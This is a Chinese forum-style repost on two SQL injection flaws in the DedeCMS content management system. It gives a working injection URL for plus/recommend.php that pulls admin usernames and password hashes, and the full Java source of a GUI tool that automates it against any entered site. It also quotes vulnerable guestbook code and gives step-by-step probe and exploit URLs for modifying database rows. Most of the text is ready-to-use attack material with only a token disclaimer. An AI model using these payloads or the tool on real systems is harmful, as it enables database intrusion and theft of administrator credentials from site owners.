近日,网友在dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,相关利用代码如下:
EXP:
Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'
or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select
CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`
limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type]
[type]=application/octet-stream&_FILES[type][size]=111
利用工具源码(by 园长):
package org.javaweb.dede.ui;
import java.awt.Toolkit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
*
* @author yz
*/
public class MainFrame extends javax.swing.JFrame {
private static final long serialVersionUID = 1L;
/**
* Creates new form MainFrame
*/
public MainFrame() {
initComponents();
}
public String request(String url){
String str = "",tmp;
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new URL(url).openStream()));
while((tmp=br.readLine())!=null){
str+=tmp+"\r\n";
}
} catch (Exception e) {
jTextArea1.setText(e.toString());
}
return str;
}
private void initComponents() {
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jTextField1 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTextArea1 = new javax.swing.JTextArea();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setText("URL:");
jTextField1.setText("http://localhost");
this.setTitle("DedeCms recommend.php注入利用工具-p2j.cn");
int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);
jButton1.setText("获取");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jTextArea1.setColumns(20);
jTextArea1.setRows(5);
jScrollPane1.setViewportView(jTextArea1);
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 331, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 83, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jButton1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 254, Short.MAX_VALUE))
);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
pack();
}// </editor-fold>
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
String url = jTextField1.getText();
if(null==url||"".equals(url)){
return ;
}
String result = request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");
Matcher m = Pattern.compile("<h2>(.*)</h2>").matcher(result);
if(m.find()){
String[] s = m.group(1).split("\\|");
if(s.length>2){
jTextArea1.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].length()-1));
}
}
}
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MainFrame().setVisible(true);
}
});
}
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JLabel jLabel1;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTextArea jTextArea1;
private javax.swing.JTextField jTextField1;
// End of variables declaration
}
请看看文件:include/filter.inc.php
引用一哥话语:
这是2B的dede再次变量覆盖漏洞根源。。
这是过滤或替换非法关键字。正常的。
/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}
等同于重新赋值了,之前做的过滤无效了。
这是过滤或替换非法关键字。正常的。
1.为了有效的防止 传播 转载 公布
2.一些首发漏洞就得设置点权限 自然以后大家都想着升官 这样才能看到更好的贴 自然想升官就得自己先发好贴 这样一来 自然好贴就多了。
不知道有没有道理,反正我是这样觉得的。当然过段时间 会设置成0权限查看。一开始嘛 先让一些发过好贴升官的人看嘛,就象wooyun 先核心看 再普通 在初级的 这样我觉得是更好些 !
漏洞:dedecms 5.7 最新sql漏洞一枚
作者:鬼哥
版权:www.90sec.org
看此贴你需要保证以下几点:
1.保证需要人品好
2.保证不非法利用(只漏洞检测修复 不干坏事)[否则后果自负]
3.绝对保证100%不传播 公开 转载 (如发现:传播 转载 公布)我只能说我会很伤心! 没公开的漏洞能玩就先玩段时间嘛!
4.尊重版权!
漏洞文件edit.inc.php具体代码:<?php
if(!defined('DEDEINC')) exit('Request Error!');
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
else $GUEST_BOOK_POS = "guestbook.php";
$id = intval($id);
if(empty($job)) $job='view';
if($job=='del' && $g_isadmin)
{
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
exit();
}
else if($job=='check' && $g_isadmin)
{
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
exit();
}
else if($job=='editok')
{
$remsg = trim($remsg);
if($remsg!='')
{
//管理员回复不过滤HTML
if($g_isadmin)
{
$msg = "<div class=\\'rebox\\'>".$msg."</div>\n".$remsg;
//$remsg <br><font color=red>管理员回复:</font>
}
else
{
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
$oldmsg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n";
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
$msg = $oldmsg.$remsg;
}
}
//这里没有对$msg过滤,导致可以任意注入了
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
exit();
}
if($g_isadmin)
{
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
}
else
{
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
}
漏洞成功需要条件:
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
怎么判断是否存在漏洞:
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问:www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=90sec'&id=存在的留言ID
提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 90sec' 如果变成了 那么证明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问 www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='
然后返回,那条留言ID的内容就直接修改成了mysql 的user().